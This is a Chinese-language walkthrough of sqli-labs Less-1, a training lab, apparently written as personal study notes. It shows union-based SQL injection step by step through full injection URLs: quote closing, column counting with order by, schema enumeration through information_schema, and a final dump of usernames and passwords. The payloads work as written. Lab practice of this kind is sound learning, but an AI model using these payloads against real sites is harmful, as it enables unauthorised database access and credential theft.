一、前言
详细的写一写sqli-labs第一关(less-1),没事的时候还能回来看看,之后关卡就写写思路了不会这么详细(好累~)
二、开始
1、找注入点
输入?id=1'
报错,url为:
http://10.1.2.14/sqli/Less-1/?id=1'
所以?id=1这里为注入点
2、判断字符类型
按照惯例输入?id=2-1
与?id=2
的结果进行比对
输入?id=2-1
的结果为:
输入?id=2
的结果为:
所以2-1
中的减号没有被解析,可以判断为字符类型注入
3、构造闭合语句
构造闭合语句需要考虑几点:
1)如果有sql报错提示就看报错提示
2)结合mysql注释让后面的语句失效
首先从判断注入点那边放回的信息来分析:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''2'' LIMIT 0,1' at line 1
提取有用的信息''2'' LIMIT 0,1'
,去掉系统带的前后两个''
,结果为:'2'' LIMIT 0,1
,再去掉我们输入的2'
,就剩下两个单引号''
,可以判断两个单引号中间为sql语句传入值的地方。后面的limit 0,1
不用管反正会被注释掉
可以看看源代码来验证一下
怎么闭合?
在2'
后面加入注释就可以:?id=2' --+
后者?id=2' %23
,%23
是#
为什么不直接用#
?是因为url中#
代表锚点,会先被url处理,最后不会发送到后端服务器中
所以构造闭合的url为:
http://10.1.2.14/sqli/Less-1/?id=2' --+
返回的结果也是正常的,所以闭合成功~
3、测试当前表中的字段数量
语句闭合了,那就可以开心快乐的进行后面的操作了,走走流程先判断当前表中字段数量,使用order by
语句
order by 3
正常:
http://10.1.2.14/sqli/Less-1/?id=2' order by 3 --+
order by 4
显示错误:
http://10.1.2.14/sqli/Less-1/?id=2' order by 4 --+
所以可以得出表中字段数量只有3个,那么就可以使用union select继续操作
4、测试回显点
使用union select 1,2,3
进行测试
输入url:
http://10.1.2.14/sqli/Less-1/?id=2' union select 1,2,3 --+
结果显示:
这里会有疑问为什么没有显示1,2,3
,我们回顾一下3、
那边的源码:
可以发现limit 0,1
明明被–+给注释掉了,但是却没有显示union出来的1,2,3
继续看源码,发现:
mysql_fetch_array()
的意思是函数从结果集中取得一行作为关联数组,简单来说,就是读取一行
如果对union select
进行测试的话,会发现是在前面查询的结果后面加入union的内容,所以我可以在2的前面加一个-
就成了?id=-2'
,就会让原来的id查不到结果而显示我们1,2,3
url如下:
http://10.1.2.14/sqli/Less-1/?id=-2' union select 1,2,3 --+
因为只有两个回显点,所以就显示了2,3
,接下来就可以尽情的在2
和3
的位置插入需要执行的sql代码
5、显示当前数据库
1)这里需要用到常用函数database()
构造url为:
http://10.1.2.14/sqli/Less-1/?id=-2' union select 1,database(),3 --+
2)还可以显示所有数据库
使用系统自带的information_schema.schemata表来查,构造sql语句:
select group_concat(schema_name) from information_schema.schemata;
构造url:
http://10.1.2.14/sqli/Less-1/?id=-2' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
6、查看当前库中所有的表
也是有很多查法
不知道当前库名也可以,使用刚刚的database()
和information_schema.tables表
构造sql语句:
select group_concat(table_name) from information_schema.tables where table_schema = database();
构造url:
http://10.1.2.14/sqli/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database(); --+
7、查看某个表中的所有字段
这里拿users表来举例,要用到系统自带的information_schema.columns表
构造sql语句:
select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users';
构造url:
http://10.1.2.14/sqli/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = 'users' --+
8、读取表中的数据
知道了表名和其中的字段名那就可以舒服的读想要的数据了
构造sql语句:
select group_concat(username,'~',password) from users;
构造url:
http://10.1.2.14/sqli/Less-1/?id=-2' union select 1,group_concat(username,'~',password),3 from users --+
三、小总结
sql注入要弄出来需要注意几点:
1)注入点
2)注入类型:整数型
还是字符型
3)闭合语句
4)执行准备好的sql语句
5)绕过那些过滤